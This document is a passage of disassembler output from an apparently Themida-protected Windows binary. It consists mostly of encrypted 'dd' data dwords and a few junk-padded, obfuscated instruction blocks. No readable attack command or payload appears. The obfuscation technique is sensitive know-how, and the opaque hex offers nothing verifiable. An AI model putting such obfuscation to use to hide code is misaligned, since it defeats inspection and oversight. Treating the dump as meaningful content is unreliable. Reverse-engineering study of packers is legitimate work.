0BDEF765h, 14D884BFh, 560ED1A2h dd 7C966F92h, 0D1B1A9C3h, 80B6560Eh, 33B4CF45h, 10CF5B39h dd 67000002h, 0C6B32396h, 9C324B4Fh, 0F3449A3Eh, 0F03C1344h dd 1B311326h, 9E7A212Dh, 4DB44988h, 0C814C6EFh, 0E0F839Ch dd 0E43F8B45h, 9ECA9FCAh, 1566DCD2h, 65B15056h, 0CB84B5F1h dd 0B0A2B37Fh, 0A696DB64h, 5D9EB28Eh, 8F4FDD60h, 548B566Eh dd 4CB5C4B5h, 0B81F06BEh, 0A598E3CCh, 721h, 78E02C40h dd 7AE22E27h, 79E32F29h, 7AE22E28h, 7AE22E29h, 895EE3EBh dd 8F42133Dh, 93481943h, 964C0D47h, 628E124Ah, 154B188Eh dd 75B91C56h, 221D6981h, 33115D75h, 0DB60FCAh, 0FA5DA45Dh dd 0BB8E99E5h, 338BE65Fh, 443F60D0h, 5966427Dh, 0D78BCC66h dd 0ED01DD8Bh, 4FC7AC79h, 96BA54BBh, 0F20EBFC4h, 149C454h dd 815A0000h, 7A221D69h, 0F49FF629h, 194A9A4Ah, 3728F23Eh dd 165DD723h, 0E320E26h, 0C76C4C42h, 0F541E04Fh, 7268516Dh dd 49EE4B24h, 4CB572B5h, 72D9AAC2h, 0EC13498Fh, 73211933h dd 1046560Fh, 3D1445B5h, 47D336F1h, 39D18A15h, 44F95Bh dd 868D0000h, 0E22C7855h, 69D7ED4Fh, 0ED499550h, 9E825975h dd 3526498Eh, 0EC53CC18h, 47055407h, 54DE4757h, 5CF833CEh dd 560FAEE6h, 0FC725181h, 5B3A11E7h, 0A0EEE8D1h, 5FD13AD3h dd 6CC65FD6h, 94BBh, 1D865300h, 0F760BF62h, 3A1BF75Ch dd 3463DC28h, 2354CF1Bh, 3768E32Fh, 515DD723h, 4FC7D772h dd 53FD4921h, 18445CDCh, 8CC3F754h, 9ECA6549h, 7F358185h dd 61ADF8ADh, 0BB07E0F9h, 65B1AC8Dh, 0FBD485C9h, 0D70E6EAh dd 0E1F95611h, 7B926D95h, 0F4CB3F9Bh, 0CC31FACAh, 5C9h dd 0B0A8F4E8h, 0B2AAF6EFh, 0B1ABF7F1h, 0B2AAF6F0h, 0B2AAF6F1h dd 0B1A62BB3h, 0B7AAEB65h, 0BBB0F16Bh, 0BE94C56Fh, 8AD6CA72h dd 154CD0C6h, 3D816456h, 221A6681h, 331D6981h, 1D698149h dd 0F440163Fh, 33CD62Bh, 16327E54h, 955112Ah, 0C6B2FB6Bh dd 3CD6394Fh, 3C0114h, 86BD0000h, 0C12CC31Dh, 0A8726272h dd 0CC57A3B7h, 0CAA6B7ABh, 4FC7A3D4h, 0D750B958h, 0DB64B0A8h dd 0D15AA6BCh, 5F0AC99Fh, 279C77CDh, 316DE733h, 266128D0h dd 0B8823382h, 3065h, 69811900h, 0B3229458h, 0EF124FC6h dd 58112A16h, 0E42E130Ch, 0B35A515Bh, 4D094FC6h, 3D194601h dd 519D4EF1h, 0E0237BD6h, 4382B035h, 68D01CCEh, 1D69811Eh dd 0D7ED4F22h, 3FD06569h, 31E4988h, 125E7465h, 8E627E2Ah dd 56154018h, 3C19F51Ch, 156EDA26h, 0ACDAC8DCh, 0DD62ACF2h dd 0ABBF9BBFh, 561513BBh, 0C4BA9679h, 68561513h, 7ACA6DC9h dd 1DA0662h, 0B9909BE7h, 13CFBF8Bh, 0C25D5615h, 9F0AFC78h dd 3D2A4FD6h, 112FD622h, 5510C2Dh, 5974E73Ah, 0E32F120Dh dd 1C146072h, 8B401F80h, 0DF7AE13Eh, 4FCE07D0h, 5CB64FACh dd 909BE7FBh, 36177C9h, 9FEBFED7h, 4618D793h, 0BB56498Fh dd 0F619855Bh, 160730CAh, 469h, 0D088D488h, 0D28AD68Fh dd 0D18BD791h, 0D28AD690h, 0D28AD691h, 51068B53h, 570A4B05h dd 5B10510Bh, 5E74250Fh, 6AB62A12h, 154CF066h, 9DA14456h dd 94586981h, 4FC6B322h, 964CEF12h, 2879E34Ah, 3F5DE632h dd 0B35F4F1Bh, 4B024FC6h, 45DD44FFh, 0B3554925h, 38D74FC6h dd 421845D1h, 0B3291D31h, 240B4FC6h, 63765FFDh, 0D9350C17h dd 56AD0564h, 93BD09E1h, 0F115BEC1h, 41C554h, 5B590000h dd 5975D3E9h, 498EF985h, 0D7233821h, 0EE48E53Bh, 51BCEC1Ah dd 0DEF765BCh, 0DB97C10Dh, 560EB469h, 0B2FED801h, 0D9869079h dd 0AE87B501h, 5EAAA5BBh, 89A57CC7h, 73BF94C5h, 3AB45B8h dd 81F90000h, 75221D69h, 0DD3E0F5Dh, 0B710B3Ch, 951D915Dh dd 0F00F4FC7h, 0E8581F19h, 0B5874D0h, 61498F74h, 73E785BEh dd 0EE560F75h, 0ABC4AEFCh, 0AF45AFC2h, 0B8AACD56h, 0C0B3A3A7h dd 9E81560Eh, 166CBC87h, 92914BFh, 1E4F54CAh, 40345B39h dd 0CA000000h, 20965A86h, 144FC6B3h, 2E0E21EDh, 14A964Ch dd 0F03B875Eh, 2B19F019h, 8E9ECC1Fh, 44FF2249h, 55A20718h dd 122CBA0h, 0AB879EEAh, 0EE3CBBFh, 5FB69C56h, 3945D6E9h dd 0D2AD5Bh, 81410000h, 0DE3F1D69h, 706F9F71h, 0A1A67044h dd 0A29DE9FEh, 9691DDF5h, 0B7A5F1E9h, 0DBC1A566h, 956CB703h dd 661B666Ah, 0ABE884CCh, 164FC6E8h, 1F40F844h, 4061FF4Bh dd 0F0E4BEE6h, 2126F015h, 29CEE858h, 0B7942707h, 0EBCF6D94h dd 4E8BFBCFh, 86A94FC7h, 4EABC0ACh, 9FBB498Fh, 1D7E1F7Eh dd 5321EC21h, 560F1A63h, 3EE42ED1h, 420279E3h, 0CB323E2Ah dd 814FD469h, 0BE99C29Eh, 29E02B70h, 0A23B223h, 0A561152h dd 0BC335A2Ch, 290C57CCh, 289h, 0F068B4A8h, 0F26AB6AFh dd 0F16BB7B1h, 0F26AB6B0h, 0F26AB6B1h, 0F1E66B73h, 0F7EAABA5h dd 0FBF0B1ABh, 0FED485AFh, 0CA168AB2h, 154F9006h, 0FD41A456h dd 221A6681h, 2C785586h, 53040EF3h, 3F09337Fh, 75D3E95Bh dd 7408C44h, 804C1822h, 498E9EABh, 87251E01h, 560EDF13h dd 0C176854h, 0ED3E0A6Fh, 0A75EF43Eh, 397BAE31h, 0AFD55Bh dd 86690000h, 0B03BB21Dh, 0C4778777h, 0E273BF0Bh, 90EAA2F0h dd 0D86BD8E8h, 8E49F631h, 306B0942h, 984FC798h, 0E45FABBFh dd 0AEA4B17Dh, 0B1A9FA62h, 0A597DA65h, 869DB18Fh, 68498F97h dd 98A88FC9h, 8608E480h, 0C64FD504h, 3DCFD6Bh, 9CA7F3EDh dd 0A8F45CC5h, 958EDA8Fh, 0DAF562ACh, 0DBBC808Eh, 2EF9CCBCh dd 1B4CFh, 0B501D300h, 0B703DA7Bh, 0B804DC7Dh, 0BB07DF80h dd 0BB07E081h, 0B73CA281h, 0BBDC54A0h, 0C1E25AA6h, 0A5F65EAAh dd 0E3F761ADh, 50C3B3B7h, 52715615h, 7A558650h, 20CF52Eh dd 62E7A55h, 606C7D55h, 4FC6B2EEh, 124AE33Eh, 53698138h dd 4CD72E7Ah, 4421372Bh, 6FD82FF8h, 4BE16DFBh, 83E148E1h dd 0BA239357h, 0EE114FC6h, 776B2C24h, 0E759202Bh, 5BE15DCFh dd 6C950295h, 0EA8BFCD0h, 86A9498Eh, 1EF58BBDh, 0C89BB1A9h dd 2EC3B3B7h, 8E71560Fh, 0CFA68E77h, 98E9576Dh, 18421D44h dd 96C4168Bh, 0B5DBB5C2h, 0A6F2EB4Ch, 0F26AC49Dh, 0D70A4DDEh dd 0C7809F4Fh, 0BCCC849Dh, 3A055102h, 0E4D93CE7h, 4A203DD9h dd 5F7962FEh, 0E5311813h, 5BBA1060h, 0FC6880C0h, 8F0163F0h dd 0BE769949h, 0BCB2BEA2h, 70560F01h, 18E00CCh, 839E560Fh dd 1BCF90AAh, 302354CFh, 572D5BE4h, 753077Ch, 1D698059h dd 46F63D11h, 493E122Eh, 0EB4FD6E8h, 0F7071844h, 204BF56Dh dd 2956EF4Bh, 2677E531h, 9A619663h, 0C7809A3Ch, 0B671BD98h dd 0C780CC89h, 6B1146Ah, 3AD53046h, 6A56F20Ah, 0ED499551h dd 8EB01285h, 5FFD2449h, 90126076h, 0E3B08EE5h, 7BCE59B0h dd 80C0B79Fh, 65F0FC68h, 9B4FD0AFh, 0D68CAB74h, 0D991D28Ah dd 1EFA928Dh, 146A8573h, 608BF4C8h, 46235EE7h, 0C0615523h dd 2CD37584h, 209570E2h, 0A56FE4Ah, 0C0241A36h, 29087584h dd 4CD72336h, 263C19F5h, 382E51DAh, 5FF533ECh, 253B2FA4h dd 0EF3B152Bh, 0CD34CD34h, 0D4203263h, 3EA4Bh, 63A80000h dd 1F6B8117h, 135F7324h, 28746718h, 1D69801Fh, 0E5A7522h dd 216D6215h, 115D7926h, 236F6916h, 125E7728h db 19h, 74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 3FB7h mov [esp], ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ebp, 16D90502h or ebp, 6EAA2452h push esi mov esi, 635A4C24h add ebp, esi pop esi sub ebp, 0DC06E3ACh push 0DF2h mov [esp], esp add dword ptr [esp], 4 pop ecx push edx mov edx, ebp push eax mov eax, 8 add eax, ecx mov [eax], edx pop eax pop edx push dword ptr [esp] pop ecx add esp, 4 mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- db 0A2h dd 182295D1h, 2B911B7Fh, 0ACE899F5h, 9F87B86Ch, 0C503064Eh dd 79CAE0FFh, 0D582670Ch, 5D22232Ah, 90CF4B2Ah, 4204240Eh dd 0EF2A70DBh, 790E05FFh, 44E77154h, 37B93F61h, 1ADE1746h dd 382B7738h, 2D85896h, 19D86377h, 0FE3F44F4h, 0B4225F55h dd 356A3572h, 2413128Ah, 0ED7F01B5h, 0BAEC13BCh, 611C21A6h dd 464B4EF6h, 39035286h, 26443C5Ah, 0B4312F95h, 0CDE134EEh dd 5C60021Ch, 297074E4h, 5FE91AB5h, 52000001h, 0E860D48Bh dd 0 dd 0A1ED815Dh, 8B064EA0h, 453D0842h, 0F782638h, 13885h dd 0C428B00h, 0D3184A8Bh, 0B716BBC8h, 0C3336F6Ah, 8904E883h dd 480A1985h, 4588B06h, 428BF88Bh, 184A8B10h, 6FBEC8D3h dd 339A0DC9h, 83C72BC6h, 0E883FCE0h, 35858904h, 8B06480Fh dd 85891442h, 6482425h, 5318428Bh, 0B0E9h, 55B5FF00h, 0E9064818h dd 0B9h, 2181B5FFh, 0AEE90648h, 0FF000000h, 482281B5h dd 0A3E906h, 0B5FF0000h, 6482E1Dh, 98E9h, 35B5FF00h, 0E9064810h dd 8Dh, 24B5B5FFh, 82E90648h, 0FF000000h, 4828C9B5h, 77E906h dd 0B5FF0000h, 648228Dh, 6CE9h, 0EDB5FF00h, 0E906481Bh dd 61h, 27B5B5FFh, 56E90648h, 0FF000000h, 4829E1B5h, 4BE906h dd 0B5FF0000h, 64826E5h, 40E9h, 0F5B5FF00h, 0E9064825h dd 35h, 489B5FFh, 2AE90648h, 0FF000000h, 481E3DB5h, 1FE906h dd 0B5FF0000h, 6480D05h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h dd 4EA1028Dh, 0FFC80306h, 0BD95FFE1h, 5B064820h, 0A19858Bh dd 58390648h, 0F850F04h, 53000000h, 95FF016Ah, 6483061h dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh dd 64804D1h, 0A1F08D8Dh, 4189064Eh, 0E8C38B01h, 7, 825F24E5h dd 60B50CA5h, 3850Fh, 0B70F0000h, 0BA5F61F8h, 303CC856h dd 73C5C781h, 0EB800000h, 38A3B908h, 0C18163B9h, 9C46E420h dd 8B37FFF9h, 6E858F2h, 0A9000000h, 0F2F09B3Ah, 5BD98A95h dd 56EFF081h, 81514553h, 0B4FE0DDAh, 0E8815E67h, 1F91A006h dd 0D7816660h, 8161FE7Dh, 0B6E66DF0h, 0F550F95Eh, 8060078Fh dd 0EAB685F4h, 2EF8361h, 4F4FDE8Bh, 49F0B70Fh, 20850Fh dd 8D0F0000h, 3, 0E9F6B70Fh, 31h, 99F9614Ah, 0B73FD324h dd 9EECE105h, 9110B09h, 0CE89494h, 0E8000000h, 42A2FE4Ah dd 0A28AAFA3h, 8B826296h, 76E95EF7h, 7AFFFFFFh, 1A4E4E3Ah dd 8EBB6h, 40000000h, 0E91FDEBAh, 4CCh, 4EA3CD68h, 0DA79E906h dd 5968FFF9h, 0E9064EA4h, 0FFF9DA6Fh, 4EA5D268h, 0DA65E906h dd 0DA8AFFF9h, 0D8F5A68Eh, 0DDF3A48Ch, 0E0F6A791h, 0E4FB9C94h dd 19C1A098h, 0C56FBB94h, 0C771BD94h, 0BF79C596h, 0D880CC9Eh dd 0E2D498C4h, 52561555h, 66812F73h, 7C6E111Ah, 0F310830h dd 307F4BF9h, 7E498EB6h, 0A3FCA8A3h, 9221C623h, 0EC889216h dd 560EEF76h, 0EBB2CBF1h, 2687E920h, 0DB2CDB85h, 96E89630h dd 89FFD67Ch, 5B397FF6h, 2FF8Dh, 34DE3F00h, 408B3209h dd 0B1FDD88Bh, 0BF4FDF65h, 49F70D2Fh, 8E95BA85h, 0D4250C49h dd 0EBFC7BB8h, 6880C0B8h, 0B703DBFCh, 0E179956Ch, 0BBE0760Dh dd 0DC8FB844h, 0A698B490h, 864D2C20h, 70C982ABh, 0AB8CB8D0h dd 7DC9A0B6h, 6CC69BA4h, 0F81EDCF0h, 0B34E46F3h, 62AEA495h dd 65B1A9FAh, 93F2DEC5h, 6FCE9937h, 328h, 0DC54A0B4h, 0DE56A2BBh dd 0DD57A3BDh, 0DE56A2BCh, 0DE56A2BDh, 0FDD2577Fh, 3D687B1h dd 7DC7DB7h, 0AE081BBh, 0DE0296BEh, 15569C12h, 0E9359056h dd 75D3E95Bh, 88102D59h, 0B4A5B949h, 70D9529Eh, 155572E4h dd 0C45FC256h, 4E863EAh, 0F82A042Ah, 0D44F9B4Fh, 0CB62AEA3h dd 0FAD50662h, 55AE92AEh, 2C3FC141h, 2E202C41h, 0FE5614C5h dd 1E3F1723h, 2A42FD49h, 0B6875F6Fh, 9FEBFED7h, 0C410C293h dd 0F4AA966h, 0D647F035h, 29Ch, 70E83428h, 72EA362Fh, 71EB3731h dd 72EA3630h, 72EA3631h, 7166EBF3h, 776A2B25h, 7B70312Bh dd 7E54052Fh, 4A960A32h, 15571086h, 7DC12456h, 20965A86h dd 494FC6B3h, 26FB4490h, 2C3E2100h, 380267E0h, 3B293F01h dd 3F2F3B1Fh, 0ED4FC6B3h, 7E2C8010h, 0E9401D40h, 4679254Dh dd 64CB4988h, 47D9D1DBh, 0D1885615h, 0C19DBA85h, 956CB8ABh dd 0AC67BF8Ah, 976E6401h, 3FA59E21h, 18AE55Bh, 81790000h dd 163F1D69h, 0E632293Fh, 221D045Dh, 0BA51BC3Dh, 68C1E0C1h dd 14C679CEh, 97A990C8h, 0DEF7E381h, 9D84BF0Bh, 48AD991h dd 3D1E498Fh, 0ED0CD624h, 8937890Ah, 6D9496A0h, 9AB68AB2h dd 560ECEA4h, 0E58DA988h, 560ECE6Dh, 83F9DCFAh, 5B392D00h dd 3F83h, 55861B00h, 13F6317Dh, 0F8103007h, 9EAB804Ch dd 1E01498Eh, 0F5411942h, 23BD72Ah, 0EDEF06Ah, 843F7756h dd 3941710Eh, 9B36475Bh, 0B619915h, 77E70361h, 0B5560EFAh dd 0AF6FC05Ah, 7000000h, 3F1D6981h, 27F33F16h, 1A66811Eh dd 307C6E11h, 469248F7h, 0B646620Eh, 0B7AB4FC6h, 0BA8AF16Bh dd 49AAC6A2h, 3D498C24h, 5C594D21h, 34DB5611h, 49024E03h dd 68D456E0h, 115BF264h, 46DF4256h, 0D824411Ah, 1A35263Eh dd 1A3566CEh, 5F004C04h, 18F13A86h, 0E0E21F1h, 0FE29CAF4h dd 1231Fh, 71BDAF00h, 73BF96C7h, 74C098C9h, 77C39BBCh dd 77C39CBDh, 0F3785EBDh, 0F7A890DCh, 0FD9E96E2h, 1A29AE6h dd 1FB39DE9h, 587FEFFBh, 16AD5615h, 1A66810Ch, 7530D2Eh dd 5E77232Bh, 115D758Bh, 0CCFA0FF8h, 0E700E7F8h, 0C580A4Bh dd 69815A24h, 617A221Dh, 7EDF3B87h, 1344206Ch, 3226F03Ch dd 10864A76h, 244FC6B3h, 500D52FBh, 0A47D987Dh, 7F95A78Ah dd 0B4390DE1h, 947B498Fh, 8CD88FA8h, 0A49208A4h, 1BCF560Fh dd 1B3465CFh, 91E154CFh, 9D000000h, 5209E95Bh, 2D411F06h dd 49881085h, 7BC79EC7h, 77B059B0h, 8EC612C8h, 7EC915CDh dd 0C8DEF5E6h, 0E55EC713h, 0AD54A0B2h, 52170961h, 0C51B5CA5h dd 0B0C1990Eh, 0A572AA9Ch, 0B6A8C46Fh, 766FA572h, 758C739Bh dd 0B7C89ABBh, 0A572C3B3h, 778E716Fh, 87D38BACh, 75E905D9h dd 0B76FA572h, 0C789BE58h, 0F9E252B1h, 0DB7C96E2h, 0A9F5F107h dd 9CE8019Eh, 0BE67BEA3h, 0C10DC596h, 509CB2A3h, 0D9C81C6h dd 50000000h, 71EE606Ch, 0E33E6FA5h, 1763ED57h, 241F6B81h dd 18135F73h, 1F287467h, 221D6980h, 150E5A75h, 26216D62h dd 16115D79h, 28236F69h, 19125E77h, 0E1895174h, 4C181h dd 0E9830000h, 240C8704h, 6824248Bh, 22h, 57241C89h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 0F7682434h, 8B064EA2h, 0C481241Ch dd 4, 8904EC83h, 4812424h, 424h, 53555E00h, 48240481h dd 5D104F5Bh, 5B48ED81h, 6E89104Fh, 348B5D08h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_544ACB ; --------------------------------------------------------------------------- dd 52CBD6C5h, 0CA55E1ECh, 0B797E517h, 4EA71AB8h, 0FFC50306h dd 0C29CB4E0h, 39A17429h, 32F8ED59h, 0DCA94964h, 5FE5917Bh dd 2E256919h, 868D8D67h, 6A064EA8h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 840CC353h dd 89AD2443h, 480A198Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0BB048E2Bh, 0CF8166A6h dd 8B664414h, 0B19D8BD1h, 0C7064823h, 480F3585h, 5D5006h dd 9958B00h, 0B8064807h, 7240075Ah, 242585C7h, 648h, 89600000h dd 481BE5BDh, 0CFB70F06h, 15BE6661h, 55B5FF5Ch, 6A064818h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 671AC351h, 28919D89h, 95FF0648h, 64820BDh dd 6AC68Bh, 306195FFh, 0C08B0648h, 813458EBh, 0DAFBD1B0h dd 9054F27h, 0D7E0F500h, 0F2963231h, 0DAB75ECBh, 0F7D04B5Bh dd 54C0A895h, 2B31AEFAh, 1D88ADD5h, 10110085h, 6CDFD043h dd 1B0731B2h, 7D61A699h, 3E81FA89h, 80272561h, 432EFDB2h dd 28EE1A56h, 38D1EF61h, 5A3D1390h, 0F15A1A1Ah, 510EEC71h dd 0DE8B11Fh db 3 dup(0) byte_5A7657 db 3Ah ; DATA XREF: Themida_:0053DC20o dd 0CAE478C4h, 54E352E0h, 1699AB9Fh, 636838BBh, 85015849h dd 6480EB1h, 7125C081h, 0F1810000h, 68E87D31h, 9D8BFF2Bh dd 6481E05h, 0F0734FFh, 88Bh, 2800F00h, 60000000h, 9D0B5E61h dd 6480F3Dh, 0EA2EC681h, 8A0F3CCEh, 6, 1EA99589h, 0C6810648h dd 5CF2C4C7h, 2A219D2Bh, 0C6810648h, 22C0EBC5h, 9259D8Bh dd 66560648h, 8F1B43BAh, 8D8B3804h, 6481051h, 8384C580h dd 8D8904EFh, 6482DB1h, 8FA0FF81h, 850FFFFFh, 1Bh, 1EA8BA66h dd 2BE9h, 11FF9700h, 864EE295h, 941881CCh, 4011D0D5h, 0BBADBA15h dd 30A3D438h, 0FFFF73E9h, 0E12049FFh, 0B8863241h, 11D7C0A1h dd 8A53C03Dh, 5E8h, 82437A00h, 0E4802AA1h, 9D315EA1h, 64819C5h dd 6304C681h, 0BB660000h, 0FF2B71ADh, 34FFC68Bh, 5AD88B37h dd 0EA815856h, 5F059242h, 1D2CB966h, 0DB64EA81h, 8D8952C3h dd 6481545h, 7F9AF281h, 0BD0141EEh, 6482B7Dh, 0F3E1489h dd 480h, 3EB96600h, 81DE8B3Bh, 0F00097EFh, 6880F45h, 3000000h dd 480B758Dh, 93C78106h, 8B45F000h, 4823F59Dh, 0B8FF8106h dd 0FFFFF9Dh, 2485h, 8E800h, 91300000h, 73A4F8D2h, 7E9089Ah dd 0F8000000h, 136C6E34h, 0E95B2E99h, 21h, 0AD3AF38Eh dd 0DF8B6627h, 0FFFF71E9h, 523A76FFh, 0D361E4E5h, 4CE4FA6Ah dd 0E1E465CDh, 0D2C6A41Dh, 0CE847h, 2C460000h, 0D0624C43h dd 74392C44h, 0F607750h, 0B531F6BFh, 6482345h, 81665A61h dd 81002EF6h, 60ABC2h, 10E900h, 0DC140000h, 0F1853425h dd 0FA84A50Ah, 0BD3D1C7Eh, 0BBE666h, 8B000000h, 481EB98Dh dd 1334FF06h, 952958F5h, 6482C65h, 53A3F081h, 0BD8B0220h dd 6482E3Dh, 3270F081h, 8D293F0Eh, 6482E9Dh, 0D158E881h dd 8956287Bh, 4818998Dh, 4895E06h, 0C9BD031Ah, 66064826h dd 837C70BFh, 4BF901EBh, 0DD804B4Bh, 0E8FB81D2h, 0FFFFF9Fh dd 0FFFFAC85h, 83C08BFFh, 4820E9BDh, 9750006h, 2C61BD83h dd 74000648h, 8B535019h, 421B8C0h, 85890000h, 64828A1h dd 0B02C9D8Dh, 0D3FF064Ah, 0BD83585Bh, 6482C61h, 50177400h dd 421B853h, 85890000h, 64828A1h, 0AD1B9D8Dh, 0D3FF064Ah dd 0C08B585Bh, 9A99D8Bh, 85C60648h, 648276Dh, 0B8526856h dd 0B5FF9CA8h, 6482195h, 831E858Dh, 0D0FF064Bh, 68046Ah dd 0FF000010h, 4800F5B5h, 0FF006A06h, 0FC085D0h, 0D85h dd 0B800h, 8D8D0000h, 6486F77h, 0C88BE1FFh, 4003C38Bh dd 0F8053Ch, 508B0000h, 83D3030Ch, 481A75BDh, 840F0006h dd 0Eh, 1A759D8Bh, 858B0648h, 648180Dh, 52510389h, 78C5858Dh dd 0D0FF0648h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 648276Dh dd 6D396856h, 0B5FFD41Fh, 6482195h, 831E858Dh, 0D0FF064Bh dd 800068h, 52006A00h, 0C08BD0FFh, 20E9BD83h, 75000648h dd 61BD8309h, 6482Ch, 53501974h, 21B8C08Bh, 89000004h dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh dd 17740006h, 21B85350h, 89000004h, 48002185h, 349D8D06h dd 0FF064AADh, 8B585BD3h, 759D8DC0h, 8B06481Ah, 0FC00B03h dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 9E800h, 53D0000h dd 2B8CC93Fh, 661BAD26h, 8C79F281h, 0C781F95Fh, 7330h dd 96FFB9FCh, 0F1814A30h, 4A308A60h, 82C68166h, 811F8B3Fh dd 0CDAA6FC3h, 0A5C0BE51h, 0EB817F37h, 4D50EBCDh, 28C0Fh dd 0D38B0000h, 0D656F381h, 11E97BB1h, 3A000000h, 0CCA95BF0h dd 9DB51B2h, 8A0CC40Eh, 859F2E81h, 0BE953h, 29570000h dd 0E4F96257h, 0E735845h, 81078F8Eh, 0C398F3F0h, 0D3EF8134h dd 663B470Bh, 0C781C18Bh, 3B470BCFh, 8E9h, 0E1BFCF00h dd 9860F9A6h, 1E9835Fh, 0FF8B850Fh, 10E8FFFFh, 0D1000000h dd 9D3384FCh, 0DB48D3DFh, 6BC0E5B6h, 81423373h, 0DD81AFCEh dd 0CE85815h, 2D000000h, 3C307880h, 358CD323h, 0E8598B1Ah dd 13h, 46F3DADFh, 0FCBABA30h, 0FEF5FEA7h, 833E133Bh, 0B72742BEh dd 0BE585BCEh, 6262CE2Dh, 59EEC081h, 23B30000h, 12E8FF33h dd 6E000000h, 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h dd 0F7BF0F8Dh, 380C8B5Bh, 91E3BA66h, 850BC181h, 0BE6601FFh dd 0F181FA07h, 51DBFD87h, 0F2CE8166h, 33F18146h, 810CBC5Dh dd 0EE9A5CC3h, 380C892Eh, 0CE9h, 3EC1A200h, 4A628EA1h dd 208B0360h, 4EF83D3h, 0A6FCFF81h, 850FFFFFh, 2Ch, 11E9h dd 8815BE00h, 0BDF4C395h, 0F2D964D7h, 493370C4h, 36E990AFh dd 2A000000h, 0BA3CD946h, 0B91CDA6Eh, 0FA1377B5h, 0CBCFCF13h dd 0BE9h, 7A775600h, 9C0F70B0h, 0AF5C080Fh, 0FFFF74E9h dd 2C6832FFh, 0ADCCD29Dh, 21E70619h, 4C7B690Bh, 619D8DDAh dd 0B8064827h, 1434h, 1A458589h, 0E80648h, 58000000h, 0D05h dd 0E9038900h, 1434h dword_5A7BB8 dd 50Dh dup(0) ; DATA XREF: Themida_:0053F4D0o dd 12E8h, 0F36E200h, 68997582h, 0D0BDEFDDh, 54232FC9h dd 66C4325Fh, 5B3E34BFh, 812CCC80h, 72B0C3h, 0FD7DBF00h dd 0C933471Ch, 0BE0B148Bh, 2D3D6AC3h, 2960F281h, 8A0F596Bh dd 2, 0C281FE8Bh, 1B4C7029h, 23D88166h, 1AF2812Eh, 8901720Eh dd 9E90B14h, 23000000h, 35DE3B9Bh, 3B319EA4h, 0E904E983h dd 0Eh, 26395E75h, 8BA49053h, 939CD373h, 0F981C9DFh, 0FFFF8DD8h dd 0FFA6850Fh, 820FFFFFh, 5, 0A0AC5FBEh, 3BE91Fh, 8B600000h dd 48200DBDh, 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h dd 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 4EC43A8Dh dd 0FE806h, 543F0000h, 33CB7D5Bh, 7FBFED3Ah, 0CB1F4BF8h dd 8D895F95h, 6480A19h, 0E856006Ah, 3, 5EC35E20h, 4247489h db 81h, 44h, 24h byte_5A90F3 db 4 ; DATA XREF: Themida_:0053F34Co dd 1Ch, 9DC35646h, 1D770E8h, 2CAAEDA7h, 13B59D8Bh, 85C70648h dd 6480F35h, 6E38h, 2A51958Bh, 0C6810648h, 4AD32AFBh, 242585C7h dd 648h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 40ACBCC3h, 0B54E4366h, 8D0F6E66h dd 1Ah, 0D99D0160h, 0E806481Eh, 0Ch, 0D600149Fh, 9E551DD8h dd 189BE230h, 0B5FF615Fh, 6482181h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0DC35646h, 0B70FC831h, 0FFC38BD8h dd 4820BD95h, 0E8816606h, 6A75B9h, 306195FFh, 0C08B0648h dd 61EA1DEBh, 65284219h, 220B2451h, 0B0344AFEh, 9E3468EAh dd 0B1885141h, 0F79B8F2Eh, 8D5800F6h, 4EC52D8Dh, 12E906h dd 0B1210000h, 0BDF06C85h, 24C466FBh, 188F95DCh, 0B15EFD22h dd 8D895852h, 6480A19h, 0C7A8F380h, 480F3585h, 6A2006h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0B607E62Eh, 66783869h, 12E9FA8Bh, 4C000000h dd 0C4DE6844h, 185A0B5Ch, 8B8EC807h, 0D12A894Dh, 2585C76Dh dd 64824h, 66000000h, 0FF0A48BBh, 4826E5B5h, 11E906h, 6ED00000h dd 0DAB6C610h, 75F5AF94h, 57EC68F2h, 814D63CFh, 0B7E184D3h dd 0BD95FF02h, 6A064820h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0C038C357h, 5D704EC4h dd 8B666B96h, 0FF006AF9h, 48306195h, 0EBC08B06h, 24EA545Eh dd 0C7E1AE2Ah, 46913C1Eh, 0ABC40B36h, 1D0C8D8Ch, 8B266121h dd 73594925h, 29A52139h, 9B4C6A95h, 0EE580AD2h, 37387EFEh dd 5F640DB7h, 0DC1A8CC2h, 89407533h, 2C4EC847h, 58870A0Bh dd 0E5653445h, 196237FDh, 0AD3650CDh, 841C17ABh, 6C31FD3h dd 0C40500F9h, 0BB8F4E7Dh, 0FEF12583h, 0B366FCAh, 4FBECCA8h dd 0B36AA8Ah, 0EAD5ABA8h, 0B370275h, 4FBFCAA8h, 0AE5DBA8Ah dd 4FBFA757h, 0B34728Ah, 0EAD5ABA8h, 0B34C575h, 4FBC95A8h dd 0B35478Ah, 4FBD17A8h, 0B35398Ah, 0EAD5ABA8h, 0D42F2575h dd 13649213h, 9430C003h, 90A752E6h, 57EC82A3h, 